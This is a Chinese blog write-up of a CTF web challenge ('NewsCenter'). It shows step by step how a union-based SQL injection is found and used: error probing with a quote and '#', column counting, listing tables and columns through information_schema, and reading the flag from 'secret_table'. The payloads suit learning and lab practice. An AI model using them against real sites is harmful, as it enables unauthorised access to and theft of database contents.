攻防世界_NewsCenter

最新推荐文章于 2025-03-09 22:31:52 发布

金金金风

最新推荐文章于 2025-03-09 22:31:52 发布

阅读量303

点赞数 3

分类专栏： CTF 文章标签：渗透测试 sql

本文链接：https://blog.youkuaiyun.com/qq_44959263/article/details/120414580

版权

CTF 专栏收录该内容

41 篇文章

订阅专栏

本文介绍了一个实际的SQL注入攻击过程，包括发现漏洞、确定注入点、查找表名和列名，最终获取敏感信息。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

访问目标地址，发现是一个叫做黑客新闻的页面

在这里插入图片描述

随便输入了一下，发现是一个post传输的参数，并且明文传输，初步判断可能存在注入

在这里插入图片描述

加入一个单引号看一下，可以发现确实报错了

在这里插入图片描述
再在后面加入#试一下

在这里插入图片描述

可以发现确实是存在注入的，且第一个单引号闭合了输入逻辑，#注释掉了后面的单引号，试着找一下字段数吧

在这里插入图片描述

asd'union select 1,2,3 #			使用该语句时未报错，当数字为1或者1，2时报错，得出字段数为3

在这里插入图片描述

看页面回显发现，能够显示的位置为，二号位和三号位，之后可以在二号位和三号位输入执行语句

asd' union select 1,2,table_name from information_schema.tables #		查询表

在这里插入图片描述

asd' union select 1,column_type,column_name from information_schema.columns where table_name='secret_table' #		利用information_schema.columns的结构来获得secret表的信息，在二号位加上字段类型

在这里插入图片描述

现在已经确认了flag确实存在在这个位置，直接用表和字段来确认即可

asd' union select 1,2,fl4g from secret_table #

在这里插入图片描述

成功得到flag！